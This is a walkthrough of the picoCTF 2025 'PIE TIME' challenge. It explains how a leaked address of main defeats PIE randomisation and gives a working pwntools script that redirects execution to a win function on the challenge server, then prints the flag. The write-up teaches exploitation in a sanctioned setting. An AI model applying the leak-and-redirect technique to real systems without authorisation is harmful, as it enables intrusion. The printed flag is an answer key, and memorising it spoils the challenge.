pie_timpicoCTF 2025: PIE TIME Walkthrough
Challenge Info:
- Platform: picoCTF 2025 - PIE TIME
- Category: Binary Exploitation
- Difficulty: Easy
- Key Concepts: PIE (Position Independent Executable), Memory Leaks, Offset Calculation
Understanding the Challenge
This challenge introduces the concept of PIE (Position Independent Executable). The goal is to redirect the program's execution to a "win" function that prints the flag. However, because PIE is enabled, the memory addresses of functions change every time the program runs. We must use a memory leak provided by the program to calculate the correct address dynamically.
Reconnaissance and Analysis
Binary Protection Analysis
First, we analyze the binary to see what security mitigations are in place.
checksec --file=vuln
Output Analysis:
- PIE: Enabled (Critical): The binary is loaded at a random base address each run. We cannot hardcode addresses like
0x401234. - NX: Enabled: We cannot execute code on the stack (shellcode won't work).
- Canary: Found: Stack cookies protect against buffer overflows (though it turns out this challenge doesn't use a buffer overflow).

Figure 1: Checking binary protections confirms PIE is enabled.
Source Code Analysis
We examine vuln.c to find vulnerabilities.
The Leak:
printf("Address of main: %p\n", &main);
The program explicitly prints the address of the main function in memory. This is our bypass for PIE. By comparing this "leaked" runtime address to the static address in the binary file, we can find the Base Address.
The Vulnerability:
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
// ...
void (*foo)(void) = (void (*)())val;
foo();
The program asks for an address and directly jumps to it. This is a logic bug. We just need to give it the address of the win() function.
PIE Bypass Methodology
Since addresses change every run, we use relative offsets. The distance between functions (e.g., main and win) is always constant.
The Mathematics
- Static Analysis:
pwntoolsreads the binary file to find the offset ofmainandwinrelative to the start of the file (0x0). - Runtime Calculation:
Base Address = Leaked Address (Runtime) - Static Offset of MainWin Address (Runtime) = Base Address + Static Offset of Win
Local Exploitation
Before attacking the server, we ensure the exploit works on our own machine.
Environment Setup
- Permissions: Make the binary executable.
chmod +x vuln - Install Pwntools:
pip install pwntools
Local Exploit Script
We write solve.py to automate the math. I have added .encode() to the send line to prevent the "Text is not bytes" warning.
from pwn import *
exe = './vuln'
elf = context.binary = ELF(exe)
# Start the process LOCALLY
io = process(exe)
# 1. Capture the leak
io.recvuntil(b"Address of main: ")
leak_line = io.recvline().strip()
leaked_main = int(leak_line, 16)
log.info(f"Leaked main: {hex(leaked_main)}")
# 2. Update base address
elf.address = leaked_main - elf.symbols['main']
log.success(f"PIE Base: {hex(elf.address)}")
# 3. Send the win address
# pwntools automatically calculates elf.symbols['win'] using the new base
win_addr = elf.symbols['win']
# We encode the string to bytes to avoid warnings
io.sendline(hex(win_addr).encode())
io.interactive()
Local Verification
Running this locally results in:
- Output:
You won!followed byCannot open file. - Reason: The exploit worked (it jumped to
win), butflag.txtdoes not exist on your local computer. This confirms the logic is sound.
Remote Exploitation
We now point the script at the picoCTF server to get the real flag.
Why Address Copying Fails
If main is at 0x55... on your computer, it might be at 0x77... on the server. Copying the address from your local run will cause a Segfault on the server. The script must calculate the address live during the connection.
Remote Exploit Script
We change one line in the script:
# Comment out the local process
# io = process(exe)
# Connect to the remote server (Replace with your instance details)
io = remote('rescued-float.picoctf.net', 61577)
Execution Flow
Running the script now performs the following steps automatically:
- Connects to
rescued-float.picoctf.net. - Reads the server's unique random address for
main. - Calculates the server's unique random address for
win. - Sends the correct hex string back.
- Receives the flag.
Final Flag: picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_6f4e7236}

Figure 2: The script successfully calculates the address and retrieves the flag.
Key Takeaways
PIE Bypass Fundamentals
- PIE randomizes absolute addresses but preserves relative offsets
- Memory leaks enable base address calculation
- Static analysis provides function offset constants
- Runtime address = Base address + Static offset
Exploitation Techniques
- Identify memory leak source (leaked main address)
- Calculate base address using static offset
- Compute target function address dynamically
- Exploit control flow hijacking vulnerability
- Verify locally before remote exploitation